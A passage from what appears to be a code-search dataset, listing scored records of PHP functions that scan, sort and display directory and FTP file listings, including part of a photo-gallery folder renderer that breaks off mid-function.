$dirlist;\r\n }", "title": "" }, { "docid": "6c37773b560f74af80406f8f90dd511d", "score": "0.6593528", "text": "function createFileFolderArrayLin($ftp_rawlist,$type) {\n\t\n\t// Go through array of files/folders\n\tforeach($ftp_rawlist AS $ff) {\n\t\n\t\t// Reset values\n\t\t$time=\"\";\n\t\t$year=\"\";\n\t\t\n\t\t// Split up array into values\n\t\t$ff = preg_split(\"/[\\s]+/\",$ff,9);\n\t\t\n\t\t$perms = $ff[0];\n\t\t$user = $ff[2];\n\t\t$group = $ff[3];\n\t\t$size = $ff[4];\n\t\t$month = $ff[5];\n\t\t$day = $ff[6];\n\t\t$file = $ff[8];\n\t\t\n\t\t// Check if file starts with a dot\n\t\t$dot_prefix=0;\n\t\tif (preg_match(\"/^\\.+/\",$file) && $_SESSION[\"interface\"] == \"bas\")\n\t\t\t$dot_prefix=1;\n\t\t\n\t\tif ($file != \".\" && $file != \"..\" && $dot_prefix == 0) {\n\t\t\n\t\t\t// Where the last mod date is the previous year, the year will be displayed in place of the time\n\t\t\tif (preg_match(\"/:/\",$ff[7]))\n\t\t\t\t$time = $ff[7];\n\t\t\telse\n\t\t\t\t$year = $ff[7];\n\t\t\t\t\n\t\t\t// Set date\n\t\t\t$date = formatFtpDate($day,$month,$year);\n\t\t\t\n\t\t\t// Reset user and group\n\t\t\tif ($user == \"0\")\n\t\t\t\t$user = \"-\";\n\t\t\tif ($group == \"0\")\n\t\t\t\t$group = \"-\";\n\t\t\t\n\t\t\t// Add folder to array\n\t\t\tif (getFileType($perms) == \"d\") {\n\t\t\t\t$foldAllAr[] = $file.\"|d|\".$date.\"|\".$time.\"|\".$user.\"|\".$group.\"|\".$perms;\n\t\t\t\t$foldNameAr[] = $file;\n\t\t\t\t$foldDateAr[] = $date;\n\t\t\t\t$foldTimeAr[] = $time;\n\t\t\t\t$foldUserAr[] = $user;\n\t\t\t\t$foldGroupAr[] = $group;\n\t\t\t\t$foldPermsAr[] = $perms;\n\t\t\t}\n\t\t\t\n\t\t\t// Add link to array\n\t\t\tif (getFileType($perms) == \"l\") {\n\t\t\t\t$linkAllAr[] = $file.\"|l|\".$date.\"|\".$time.\"|\".$user.\"|\".$group.\"|\".$perms;\n\t\t\t\t$linkNameAr[] = $file;\n\t\t\t\t$linkDateAr[] = $date;\n\t\t\t\t$linkTimeAr[] = $time;\n\t\t\t\t$linkUserAr[] = $user;\n\t\t\t\t$linkGroupAr[] = $group;\n\t\t\t\t$linkPermsAr[] = $perms;\n\t\t\t}\n\t\t\t\n\t\t\t// Add file to array\n\t\t\tif (getFileType($perms) == \"f\") {\n\t\t\t\t$fileAllAr[] = $file.\"|\".$size.\"|\".$date.\"|\".$time.\"|\".$user.\"|\".$group.\"|\".$perms;\n\t\t\t\t$fileNameAr[] = $file;\n\t\t\t\t$fileSizeAr[] = $size;\n\t\t\t\t$fileDateAr[] = $date;\n\t\t\t\t$fileTimeAr[] = $time;\n\t\t\t\t$fileUserAr[] = $user;\n\t\t\t\t$fileGroupAr[] = $group;\n\t\t\t\t$filePermsAr[] = $perms;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// Check there are files and/or folders to display\n\tif (is_array($foldAllAr) || is_array($linkAllAr) || is_array($fileAllAr)) {\n\t\n\t\t// Set sorting order\n\t\tif ($_POST[\"sort\"] == \"\")\n\t\t\t$sort = \"n\";\n\t\telse\n\t\t\t$sort = $_POST[\"sort\"];\n\t\t\n\t\tif ($_POST[\"ord\"] == \"\")\n\t\t\t$ord = \"asc\";\n\t\telse\n\t\t\t$ord = $_POST[\"ord\"];\n\t\t\n\t\t// Return folders\n\t\tif ($type == \"folders\") {\n\t\t\n\t\t\tif (is_array($foldAllAr)) {\n\t\t\n\t\t\t\t// Set the folder arrays to sort\n\t\t\t\tif ($sort == \"n\") $sortAr = $foldNameAr;\n\t\t\t\tif ($sort == \"d\") $sortAr = $foldDateAr;\n\t\t\t\tif ($sort == \"t\") $sortAr = $foldTimeAr;\n\t\t\t\tif ($sort == \"u\") $sortAr = $foldUserAr;\n\t\t\t\tif ($sort == \"g\") $sortAr = $foldGroupAr;\n\t\t\t\tif ($sort == \"p\") $sortAr = $foldPermsAr;\n\t\t\t\t\n\t\t\t\t// Multisort array\n\t\t\t\tif (is_array($sortAr)) {\n\t\t\t\t\tif ($ord == \"asc\")\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_ASC, $foldAllAr);\n\t\t\t\t\telse\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_DESC, $foldAllAr);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Format and display folder content\n\t\t\t\t$folders = getFileListHtml($foldAllAr, \"icon_16_folder.gif\");\n\t\t\t}\n\t\t\t\n\t\t\treturn $folders;\n\t\t}\n\t\t\n\t\t// Return links\n\t\tif ($type == \"links\") {\n\t\t\n\t\t\tif (is_array($linkAllAr)) {\n\t\t\n\t\t\t\t// Set the folder arrays to sort\n\t\t\t\tif ($sort == \"n\") $sortAr = $linkNameAr;\n\t\t\t\tif ($sort == \"d\") $sortAr = $linkDateAr;\n\t\t\t\tif ($sort == \"t\") $sortAr = $linkTimeAr;\n\t\t\t\tif ($sort == \"u\") $sortAr = $linkUserAr;\n\t\t\t\tif ($sort == \"g\") $sortAr = $linkGroupAr;\n\t\t\t\tif ($sort == \"p\") $sortAr = $linkPermsAr;\n\t\t\t\t\n\t\t\t\t// Multisort array\n\t\t\t\tif (is_array($sortAr)) {\n\t\t\t\t\tif ($ord == \"asc\")\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_ASC, $linkAllAr);\n\t\t\t\t\telse\n\t\t\t\t\t\tarray_multisort($sortAr, SORT_DESC, $linkAllAr);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Format and display folder content\n\t\t\t\t$links = getFileListHtml($linkAllAr, \"icon_16_link.gif\");\n\t\t\t}\n\t\t\t\n\t\t\treturn $links;\n\t\t}\n\t\t\n\t\t// Return files\n\t\tif ($type == \"files\") {\n\t\t\n\t\t\tif (is_array($fileAllAr)) {\n\t\t\t\n\t\t\t\t// Set the folder arrays to sort\n\t\t\t\tif ($sort == \"n\") $sortAr = $fileNameAr;\n\t\t\t\tif ($sort == \"s\") $sortAr = $fileSizeAr;\n\t\t\t\tif ($sort == \"d\") $sortAr = $fileDateAr;\n\t\t\t\tif ($sort == \"t\") $sortAr = $fileTimeAr;\n\t\t\t\tif ($sort == \"u\") $sortAr = $fileUserAr;\n\t\t\t\tif ($sort == \"g\") $sortAr = $fileGroupAr;\n\t\t\t\tif ($sort == \"p\") $sortAr = $filePermsAr;\n\t\t\t\t\n\t\t\t\t// Multisort folders\n\t\t\t\tif ($ord == \"asc\")\n\t\t\t\t\tarray_multisort($sortAr, SORT_ASC, $fileAllAr);\n\t\t\t\telse\n\t\t\t\t\tarray_multisort($sortAr, SORT_DESC, $fileAllAr);\n\t\t\t\t\n\t\t\t\t// Format and display file content\n\t\t\t\t$files = getFileListHtml($fileAllAr, \"icon_16_file.gif\");\n\t\t\t}\n\t\t\t\n\t\t\treturn $files;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ad5501a9e6b6918f96eb163402fe3408", "score": "0.6565407", "text": "public function getDirList()\n {\n return $this->dir_list;\n }", "title": "" }, { "docid": "e90ef27eaca74c0508e269d915f0c3f7", "score": "0.65246093", "text": "public function scanDirectories(): array;", "title": "" }, { "docid": "0f7bb3d022a5513084a4815b51e9e7dc", "score": "0.6492178", "text": "function listDirs(){\n\t $invalidNames=array('.svn');\t\n $dirs=array();\n\t $i=0;\n if ($handle = opendir($this->path)) {\n while (false !== ($file = readdir($handle))) {\n if ($file != \".\" && $file != \"..\" && is_dir($this->path.$file)) {\n\t\t\t\t\tif(!in_array($file,$invalidNames)){\n\t\t\t\t\t\t$fstat = stat($this->path.$file);\n\t\t\t\t\t\t$dirs[$i]['name']=$file;\n\t\t\t\t\t\t$dirs[$i]['lastModified']=date( \"M d Y H:i:s\", $fstat['mtime'] );\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n }\n }\n closedir($handle);\n }\n\t $dirs=columnSort($dirs,array('name'));\n $this->dirs=$dirs;\n return $dirs;\n }", "title": "" }, { "docid": "fccc358f67966349aba0a11a0ec5df37", "score": "0.64838797", "text": "function directoryList($dir, $filter){\n\t$dir = QUERY_FILES_DIRECTORY . str_replace(\".\", \"/\", $dir);\n\n\t//echo ($dir);\n\t\n\t// if the current expected directory is not a directory return\n\tif(is_dir($dir) === false) return;\n\n\tglobal $dirValues;\n\tglobal $file;\n\t\n\t//echo ($dir);\n\t\n\t$total = array_diff(scandir($dir), array('.', '..')); # remove ' and .. from the array */\n\t\n\tforeach ($total as $value)\n\t{\n\t\t// Checking to see if it's a directory\n\t\t\tif (is_dir($dir.$value)){\n\t\t\t\tif(preg_match(FILE_VERIFICATION_REGEX, $value))\n\t\t\t\t\t$dirValues[] = $value.'/';\n\t\t\t}\n\t\t\t//$dir.$value is a file (not a Directory)\n\t\t\telse {\n\t\t\t\tif($filter != null || $filter != '')\n\t\t\t\t{\n\t\t\t\t\tif (stripos($value, $filter))\n\t\t\t\t \t$file[] = substr ($value, 0, -(strlen($filter))); /* just add the current $value to the $data array */ \n\t\t\t }\n\t\t\t else\n\t\t\t {\n\t\t\t \t$file[] = $value; /* just add the current $value to the $data array */ \n\t\t\t }\n\t\t\t}\n\t\t}\n}", "title": "" }, { "docid": "b4cfe385a82294be3fe5be450ae6e535", "score": "0.6458055", "text": "public function getList()\n {\n if ($this->dirList) {\n return $this->dirList;\n } else {\n return [ getcwd() ];\n }\n }", "title": "" }, { "docid": "f68c6c22e0213e52a578cf84804658b4", "score": "0.64398414", "text": "public function index(): array\n\t{\n\t\t$list\t= array();\n\t\t$index\t= new RecursiveFolderIterator( $this->path.$this->context, TRUE, FALSE, FALSE );\n\t\t$length\t= strlen( $this->path.$this->context );\n\t\tforeach( $index as $entry ){\n\t\t\t$name\t= str_replace( '\\\\', '/', $entry->getPathname() );\n\t\t\t$list[]\t= substr( $name, $length );\n\t\t}\n\t\tksort( $list );\n\t\treturn $list;\n\t}", "title": "" }, { "docid": "40d6e4b123a54914b20a08fe479077e0", "score": "0.6429212", "text": "function get_directory($dir_path)\n\t{\n\t\twhile (false !== ($entry = $dir_path->read())) \n\t\t{ \n\t\t\tif ( $filename !== '.' && $filename !== '..' && is_dir($entry) && $filename !== '')\n\t\t\t{\n\t\t\t}\n\t\t\telse\n\t\t\t$list[] = $entry;#return $list;\n\t\t}\n\t\treturn $list;\n\t}", "title": "" }, { "docid": "67115c3774ce8621d3edf6640f1c908b", "score": "0.6415406", "text": "public function getDirectories() {\n $directories = array();\n foreach ($this->iterator as $fileInfo) {\n if ($fileInfo->isDir()) {\n $cTime = new DateTime();\n $cTime->setTimestamp($fileInfo->getMTime());\n $directories[] = array('name' => $fileInfo->getFileName(), 'created_at' => $cTime->format('Y-m-d h:i:s'));\n }\n }\n\n return $directories;\n }", "title": "" }, { "docid": "976c1a97894b6252a4a35ceb0fc8452b", "score": "0.63926363", "text": "function dir_list(){\n //ftp_nlist - Возвращает список файлов в заданной директории.\n //ftp_rawlist - Возвращает подробный список файлов в данной директории.\n ?><table border=1 cellpadding=3 cellspacing=0><tr><td>Directories</td><td>Files</td></tr><?\n\t $contents=ftp_nlist($this->con_id, $this->cwd);\n $d_i=0;\n $f_i=0;\n sort($contents);\n\t $nlist_dirs = null;\n\t $nlist_files = null;\n\t $nlist_filesize[$f_i] = null;\n for($i=0;$i<count($contents);$i++){\n $file_size=ftp_size($this->con_id,$contents[$i]);\n if(is_dir($this->root_dir.$contents[$i])){\n $nlist_dirs[$d_i]=$contents[$i];\n $d_i++;\n }else{\n $nlist_files[$f_i]=$contents[$i];\n $nlist_filesize[$f_i]=$file_size;\n $f_i++;\n }\n }\n ?><tr><td><pre><?\n for($i=0;$i<count($nlist_dirs);$i++)echo $nlist_dirs[$i].\"<br>\";\n ?></td><td><pre><?\n for($i=0;$i<count($nlist_files);$i++)echo $nlist_files[$i].\" \".(int)@$nlist_filesize[$f_i].\"<br>\";\n ?></td></tr></table><?\n }", "title": "" }, { "docid": "0e4d72d21762342612d35786d3da4926", "score": "0.6385084", "text": "private function chunkSubdirectories()\n {\n $this->hierarchy = array();\n // Set the initial value, so we have a root directory group.\n $this->hierarchy['1'] = array();\n $this->hierarchy['1']['count'] = 0;\n $this->hierarchy['1']['children'] = array();\n\n foreach($this->table as $hierarchy_index=>$row)\n {\n if(($row['public'] == 1) && isset($row['p_id']))\n {\n if(array_key_exists($row['id'], $this->hierarchy))\n {\n }else\n {\n $this->hierarchy[$row['id']] = array();\n $this->hierarchy[$row['id']]['count'] = 0;\n $this->hierarchy[$row['id']]['children'] = array();\n }\n if(array_key_exists($row['p_id'], $this->hierarchy))\n {\n $this->hierarchy[$row['p_id']]['count']++;\n array_push($this->hierarchy[$row['p_id']]['children'], $row['id']);\n }\n }else\n {\n continue;\n }\n }\n // print_r($hierarchy);\n\n return $this->hierarchy;\n }", "title": "" }, { "docid": "6e08570c36a6cb79f324bb35a52fb8b8", "score": "0.63671774", "text": "private static function getFolderFilePathAsArray() {\n\t\t$filePathArray = array();\n\t\t$fileArray = @scandir(PAGE_FOLDER_PATH);\n\t\tif (is_array($fileArray)) {\n\t\t\tforeach ($fileArray as $file) {\n\t\t\t\tif (!is_dir(PAGE_FOLDER_PATH . $file)) {\n\t\t\t\t\tarray_push($filePathArray, PAGE_FOLDER_PATH . $file);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $filePathArray;\n\t\t} else {\n\t\t\tdie(\"Probable Configuration error (PAGE_FOLDER_PATH) is wrong: \" . PAGE_FOLDER_PATH);\n\t\t}\n\t}", "title": "" }, { "docid": "3bf76be7bc7df7241b3e2f7e3c6660f0", "score": "0.6346387", "text": "public function getFileList(): array;", "title": "" }, { "docid": "4870e0d1d5e53612452194116e62eed6", "score": "0.6294216", "text": "function GetDirectory()\r\n\t{\r\n\t\t$dp = opendir($this->Root.$this->cf);\r\n\t\t$ret['files'] = array();\r\n\t\t$ret['folders'] = array();\r\n\r\n\t\t$foidx = $fiidx = 0;\r\n\r\n\t\twhile ($file = readdir($dp))\r\n\t\t{\r\n\t\t\tif ($file[0] == '.') continue;\r\n\t\t\t//TODO: Should handle this on a filter level.\r\n\t\t\tif (substr($file, 0, 2) == 't_') continue;\r\n\t\t\t$newfi = new FileInfo($this->Root.$this->cf.$file, $this->filters);\r\n\t\t\tif (!$newfi->show) continue;\r\n\t\t\tif (is_dir($this->Root.$this->cf.'/'.$file))\r\n\t\t\t{\r\n\t\t\t\tif ($this->Behavior->ShowFolders) $ret['folders'][] = $newfi;\r\n\t\t\t\tlet($newfi->info['index'], $foidx++);\r\n\t\t\t\t$newfi->SaveInfo();\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$ret['files'][] = $newfi;\r\n\t\t\t\tlet($newfi->info['index'], $fiidx++);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tusort($ret['folders'], array($this, 'cmp_file'));\r\n\t\tusort($ret['files'], array($this, 'cmp_file'));\r\n\r\n\t\treturn $ret;\r\n\t}", "title": "" }, { "docid": "42a1884b27ff0881bd463d8822241aa2", "score": "0.62880373", "text": "function _emulsify_get_directories_to_make() {\n // If we would like to have a bare copy we use is slim option.\n if (drush_get_option('slim') === TRUE) {\n return array(\n 'components',\n 'components/00-base',\n 'components/00-base/global',\n 'components/01-atoms',\n 'components/02-molecules',\n 'components/03-organisms',\n 'components/04-templates',\n 'components/05-pages',\n 'images',\n 'images/icons',\n 'images/icons/src',\n 'templates',\n );\n }\n else {\n return array();\n }\n}", "title": "" }, { "docid": "b7b54d007d2967a0e7443e8277cdb255", "score": "0.6280151", "text": "function dirToArray($dir)\r\n {\r\n $result = array();\r\n $cdir = scandir($dir);\r\n if (!$cdir) throw new \\Exception('direction is empty');\r\n foreach ($cdir as $key => $value)\r\n {\r\n if (in_array($value, array(\".\", \"..\"))) continue;\r\n if (is_dir($dir . '/' . $value))\r\n {\r\n $result[$value] = $this->dirToArray($dir . '/' . $value);\r\n } else {\r\n $result[] = $value;\r\n }\r\n\r\n }\r\n return $result;\r\n }", "title": "" }, { "docid": "d7690b96000ee8448d83e97b63a1242b", "score": "0.62681526", "text": "function cpm_wpmu_first_run_dir_list() {\n $root_dir = ABSPATH . cpm_wpmu_first_run_root_dir();\n\n return array(\"$root_dir\",\n \"$root_dir/files\",\n \"$root_dir/files/comics\",\n \"$root_dir/files/comics-rss\",\n \"$root_dir/files/comics-archive\",\n\t\t\t\t\"$root_dir/files/comics-mini\");\n}", "title": "" }, { "docid": "29bf850165e0fe9fe3f86f49da3667a2", "score": "0.62655723", "text": "public function dirListings($lang = 'english'){\r\n\r\n $nArray = array();\r\n\r\n $nArray['name_language'] = $lang;\r\n\r\n $array = $this->list_files(USE_DIR . 'language/'.$lang);\r\n\r\n sort($array);\r\n\r\n $first_run = 1;\r\n $last_dir = null;\r\n foreach ($array as $value){\r\n\r\n $files_exp = explode(\"/\", $value);\r\n if($files_exp[0] == $lang){\r\n\r\n if($last_dir != $files_exp[1] && !$first_run){\r\n\r\n $dir_listings[] = array($last_dir => $filenames);\r\n $filenames = null;\r\n }\r\n\r\n if(strpos($files_exp[1], \".php\")){\r\n $files_exp[2] = $files_exp[1];\r\n $files_exp[1] = \".\";\r\n $filenames[] = str_replace(\".php\", \"\", $files_exp[2]);\r\n }else{\r\n $filenames[] = str_replace(\".php\", \"\", $files_exp[2]);\r\n }\r\n\r\n $last_dir = $files_exp[1];\r\n $first_run = null;\r\n }\r\n };\r\n\r\n //We need to do it one more time so the last directory gets picked up.\r\n $dir_listings[] = array($last_dir => $filenames);\r\n\r\n return $dir_listings;\r\n }", "title": "" }, { "docid": "b75a1b1376bc23b4b5421a3bc14682a3", "score": "0.626557", "text": "public function getDirectories(): array\n\t{\n\t\treturn $this->directories;\n\t}", "title": "" }, { "docid": "09473a2a22a2a8afc7d44a0dbc21a1dc", "score": "0.62630576", "text": "public function getDirs(): array\n {\n return $this->directories;\n }", "title": "" }, { "docid": "6ec388172849d5d903fad811ccc9c7ac", "score": "0.62488544", "text": "function dir_list(string $base,string $dire,int $parent){\n // Use $dire as directory or path\n // assign $id\n // pass as parent for a child\n global $id_count,$map;\n \n // Scan Directory\n $arr=scandir($dire);\n $arr=array_values(array_diff($arr,[\".\",\"..\"]));\n\n for($i=0;$i<sizeof($arr);$i++)\n {\n if($arr[$i][0]=='.'){continue;}\n $obj=new dir_obj();\n $obj->id=$id_count;$id_count++; // assign id\n $obj->parent=$parent;\n\n $element = $arr[$i]; // item in search list\n $path=$dire.\"/\".$element; // new item\n $obj->base=$element;\n if(is_dir($path))\n {\n // if new item is a dir recurse and add in $map\n $obj->type=\"folder\";\n dir_list($element,$path,$obj->id);\n }\n elseif(is_file($path))\n {\n // if new item is file just add\n $obj->type=pathinfo($path,PATHINFO_EXTENSION); //\"file\";\n }\n $short_path=str_replace([getcwd()],[\"\"],$path);\n $obj->path=$short_path;\n array_push($map,$obj); \n }\n }", "title": "" }, { "docid": "95475ba0516d4e581beb15d9147fc11d", "score": "0.62292755", "text": "public function getPaths(): array;", "title": "" }, { "docid": "95475ba0516d4e581beb15d9147fc11d", "score": "0.62292755", "text": "public function getPaths(): array;", "title": "" }, { "docid": "f16562657e187f7e36cc16d8388e3bbb", "score": "0.6216452", "text": "private function getItems($root)\n {\n $result = array();\n\n $cdir = scandir($root);\n\n foreach ($cdir as $key => $value) {\n if (!in_array($value, array(\".\", \"..\", \".DS_Store\"))) {\n\n $rootPath = $root . DIRECTORY_SEPARATOR . $value;\n\n if (is_dir($rootPath)) {\n\n\n if (\\Yii::$app->request->cookies->get($rootPath) === null) {\n $cookie = new Cookie();\n $cookie->name = $root . DIRECTORY_SEPARATOR . $value;\n $cookie->value = 'open-menu';\n $cookie->httpOnly = false;\n $cookie->expire = strtotime(date('Y-m-d', strtotime('+1 week')));\n \\Yii::$app->response->cookies->add($cookie);\n }\n // \\Yii::$app->request->enableCookieValidation = true;\n $result[] =\n [\n 'label' => $this->createFolderTemplate($value),\n 'options' => [\n 'class' => !is_null(\\Yii::$app->request->cookies->get($rootPath)) ?\n \\Yii::$app->request->cookies->getValue($rootPath) . ' folder animated' :\n 'open-menu folder animated',\n 'data-root' => $root . DIRECTORY_SEPARATOR . $value,\n ],\n 'items' => $this->getItems($root . DIRECTORY_SEPARATOR . $value)\n ];\n\n } else {\n //continue;\n $result[] = [\n 'label' => $this->createFileTemplate($value, $root . DIRECTORY_SEPARATOR . $value),\n 'options' => [\n 'class' => 'file',\n 'data-root' => $root . DIRECTORY_SEPARATOR . $value\n ]\n ];\n }\n }\n }\n\n\n return $result;\n }", "title": "" }, { "docid": "dc0bcf24d3028c5173fbb2ac41ee4222", "score": "0.62160045", "text": "private function folderListFactory($results){\r\n\t\t\t$returnArray = array();\r\n\t\t\t\r\n\t\t\tforeach ($results as $result) {\r\n\t\t\t\t$folder = new \\model\\dataTypes\\Folder();\r\n\t\t\t\t$folder->id=$result[\"id\"];\r\n\t\t\t\t$folder->parentFolderID=$result[\"parentFolderID\"];\r\n\t\t\t\t$folder->name=html_entity_decode($result[\"name\"], ENT_QUOTES);\r\n\t\t\t\t$folder->userID=$result[\"userID\"];\r\n\t\t\t\r\n\t\t\t\t$returnArray[] = $folder; //add item to return array\r\n\t\t\t}\r\n\t\t\treturn $returnArray;\r\n\t\t}", "title": "" }, { "docid": "e0f2af3605eefbb5352f0de3e86a1479", "score": "0.62094826", "text": "function rscandir($base='', &$data=array()) {\n \n $array = array_diff(scandir($base), array('.', '..','')); # remove ' and .. from the array */\n \n foreach($array as $value) : /* loop through the array at the level of the supplied $base */\n \n if (is_dir($base.$value)) : /* if this is a directory */\n $data[] = rawurlencode($base.$value.'/'); /* add it to the $data array */\n $data = rscandir($base.$value.'/', $data); /* then make a recursive call with the\n current $value as the $base supplying the $data array to carry into the recursion */\n \n elseif (is_file($base.$value)) : /* else if the current $value is a file */\n $data[] = rawurlencode($base.$value); /* just add the current $value to the $data array */\n \n endif;\n \n endforeach;\n \n return $data; // return the $data array\n \n}", "title": "" }, { "docid": "53b8fac32c2d1a626228e91e44e00264", "score": "0.61994123", "text": "protected function createZipArchiveFileList() {\n global $tools;\n $file_list = array();\n $list = $tools->directoryTree(self::$unzip_path);\n foreach ($list as $file) {\n $file_list[] = array(\n 'file_path' => $file,\n 'file_name' => substr($file, strlen(self::$unzip_path)+1),\n 'file_size' => filesize($file),\n );\n }\n self::$file_list = $file_list;\n }", "title": "" }, { "docid": "97152b29bcdae030d917501c2d4617d1", "score": "0.6186511", "text": "public function dir(): array\n {\n $factory = new ExtensionFactory('');\n return $factory->getExtensions();\n }", "title": "" }, { "docid": "306ab46d4e45254ed5307a80dbe3e455", "score": "0.6178272", "text": "function buildDirList ( $currDir, $maxColumns, $presorted, $ficons )\n{\n global $mig_config;\n\n $oldCurrDir = $currDir; // Stash this to build full path\n\n // Create a URL-encoded version of $currDir\n $enc_currdir = $currDir;\n $currDir = htmlentities(rawurldecode($enc_currdir));\n\n $directories = array (); // prototypes\n $counts = array ();\n $countdir = array ();\n $samples = array ();\n $filedates = array ();\n\n $x = $mig_config['albumdir'].'/'.$currDir;\n $x = html_entity_decode($x);\n $currDir = html_entity_decode($currDir);\n \n if (is_dir($x)) {\n // Open directory handle\n $dir = opendir($x);\n } else {\n print \"ERROR: no such currDir '$currDir'<br>\";\n exit;\n }\n\n while ($file = readdir($dir)) {\n\n // Only pay attention to directories\n $x = $mig_config['albumdir'].'/'.$currDir.'/'.$file;\n if (! is_dir($x)) {\n continue;\n }\n\n // Ignore . and ..\n if ($file == '.' || $file == '..') {\n continue;\n }\n\n // Ignore presorted items\n if (isset($presorted[$file])) {\n continue;\n }\n\n // Ignore directories whose name begins with \".\" if the\n // appropriate option is set\n if ($mig_config['ignoredotdirectories'] && ereg('^\\.', $file)) {\n continue;\n }\n\n // Ignore directories whose name does not match currDirNameRegexpr\n // RVS comment for show directory name with special character\n /*if (preg_match($mig_config['currDirNameRegexpr'], $file)) {\n continue;\n }*/\n\n // If we got here, store it as a valid directory\n $directories[$file] = TRUE;\n\n // And stash a timestamp\n if (ereg('bydate.*', $mig_config['foldersorttype'])) {\n $timestamp = filemtime($mig_config['albumdir'].'/'.$currDir\n .'/'.$file);\n $filedates[\"$timestamp-$file\"] = $file;\n }\n }\n\n closedir($dir);\n\n // If we have directories, start a table\n if ($directories) {\n\t\tif(!isset($directoryList)){$directoryList = '';}\n $directoryList .= \"\\n\" . ' <table summary=\"Folder Links\"'\n . ' border=\"0\" cellspacing=\"0\"><tbody>';\n }\n\n ksort($directories); // sort so we can yank them in sorted order\n reset($directories); // reset array pointer to beginning\n\n if ($mig_config['foldersorttype'] == 'bydate-ascend') {\n ksort($filedates);\n reset($filedates);\n\n } elseif ($mig_config['foldersorttype'] == 'bydate-descend') {\n krsort($filedates);\n reset($filedates);\n }\n\n // Join the two sorted lists together into a single list\n if (ereg('bydate.*', $mig_config['foldersorttype'])) {\n while (list($junk,$file) = each($filedates)) {\n $presorted[$file] = TRUE;\n }\n\n } else {\n while (list($file,$junk) = each($directories)) {\n $presorted[$file] = TRUE;\n }\n }\n\n // Make sure hidden items aren't displayed\n while (list($file,$junk) = each($mig_config['hidden']))\n unset ($presorted[$file]);\n\n reset($presorted); // reset array pointers\n reset($mig_config['hidden']);\n\n // Iterate through all folders now that we have our final list.\n while (list($file,$junk) = each($presorted)) {\n\n $folder = $mig_config['albumdir'].'/'.$currDir.'/'.$file;\n\n // Calculate how many images in the folder if desired\n if ($mig_config['viewfoldercount']) {\n $counts[$file] = getNumberOfImages($folder);\n $countdir[$file] = getNumberOfDirs($folder, $currDir);\n }\n\n // Handle random folder thumbnails if desired\n if ($mig_config['randomfolderthumbs']) {\n $samples[$file] = getRandomThumb($file, $folder, $currDir);\n }\n }\n\n reset($presorted);\n\n // Track columns\n $row = 0;\n $col = 0;\n --$maxColumns; // Tricks $maxColumns into working since it\n // really starts at 0, not 1\n\n while (list($file,$junk) = each($presorted)) {\n\n // Start a new row if appropriate\n if ($col == 0) {\n $directoryList .= \"\\n <tr>\";\n }\n\n // Surmise the full path to work with\n $newCurrDir = $oldCurrDir . '/' . $file;\n\n // URL-encode the directory name in case it contains spaces\n // or other weirdness.\n $enc_file = migURLencode($newCurrDir);\n\n // Build the link itself for re-use below\n $linkURL = '<a href=\"'\n . $mig_config['baseurl']\n . '?pageType=folder&amp;currDir=' . $enc_file;\n if ($mig_config['mig_dl']) {\n $linkURL .= '&amp;mig_dl=' . $mig_config['mig_dl'];\n }\n $linkURL .= '\">';\n\n // Reword $file so it doesn't allow wrapping of the label\n // (fixes odd formatting bug in MSIE).\n // Also, render _ as a space.\n // Also, shorten filename length if using random thumbs,\n // to make the table cleaner\n $nbspfile = $file;\n if ($mig_config['randomfolderthumbs']\n && strlen($nbspfile) > $mig_config['foldernamelength']) {\n $nbspfile = substr($nbspfile,0,$mig_config['foldernamelength']-1)\n . '(..)';\n }\n $nbspfile = str_replace(' ', '&nbsp;', $nbspfile);\n $nbspfile = str_replace('_', '&nbsp;', $nbspfile);\n\n if ($mig_config['randomfolderthumbs']) {\n $folderTableClass = 'folderthumbs';\n $folderTableAlign = 'center';\n } else {\n $folderTableClass = 'foldertext';\n $folderTableAlign = 'left';\n }\n\n // Build the full link (icon plus folder name) and tack it on\n // the end of the list.\n $directoryList .= \"\\n\" . ' <td valign=\"middle\" class=\"'\n . $folderTableClass . '\" align=\"'\n . $folderTableAlign . '\">'\n . $linkURL\n . '<img src=\"';\n\n if ($mig_config['usethumbfile'][$file]) {\n // Found a UseThumb line in mig.cf - process as such\n\n $fname = getFileName($mig_config['usethumbfile'][$file]);\n if ($mig_config['thumbext']) {\n $fext = $mig_config['thumbext'];\n } else {\n $fext = getFileExtension($mig_config['usethumbfile'][$file]);\n }\n\n $directoryList .= $mig_config['albumurlroot'] . '/' . $currDir\n . '/' . $file . '/';\n if ($mig_config['usethumbsubdir']) {\n $directoryList .= $mig_config['thumbsubdir'] . '/'\n . $fname . '.' . $fext;\n } else {\n if ($mig_config['markertype'] == 'prefix') {\n $directoryList .= $mig_config['markerlabel'] . '_' . $fname;\n } else {\n $directoryList .= $fname . '_' . $mig_config['markerlabel'];\n }\n $directoryList .= '.' . $fext;\n }\n } elseif ($ficons[$file]) {\n // Found a FolderIcon line in mig.cf - process as such\n $directoryList .= $mig_config['imagedir'] . '/' . $ficons[$file];\n } elseif ($samples[$file]) {\n // Using a random thumbnail as the folder icon\n $directoryList .= $samples[$file];\n } else {\n // Otherwise, we're out a thumbnail; use the generic\n // folder icon as a last resort\n $directoryList .= $mig_config['imagedir'] . '/folder.gif';\n }\n\n // Define a separator of either a space or a line break,\n // depending on whether we're using a random thumbnail or not.\n // (Use a line break if random thumbnail is present so the name\n // appears underneath it - also use a line break if the thumbnail\n // was specified).\n if ($samples[$file] || $mig_config['usethumbfile'][$file]) {\n $sep = '<br />';\n } else {\n $sep = '&nbsp;';\n }\n\n // Display _ as space\n $altlabel = str_replace('_', ' ', $file);\n\n // Output the rest of the link, label, etc.\n $directoryList .= '\" '\n . 'border=\"0\" alt=\"' . $altlabel . '\"/></a>' . $sep\n . $linkURL . $nbspfile . '</a>';\n\n // Display counts if appropriate\n if ($mig_config['viewfoldercount'] &&\n (($counts[$file] > 0) || ($countdir[$file] > 0)) )\n {\n $directoryList .= $sep . '<acronym title=\"(folders/files)\">('\n . $countdir[$file] . '/' . $counts[$file]\n . ')</acronym>';\n }\n\n // Don't forget to close the table cell\n $directoryList .= '</td>';\n\n // Keep track of what row/column we're 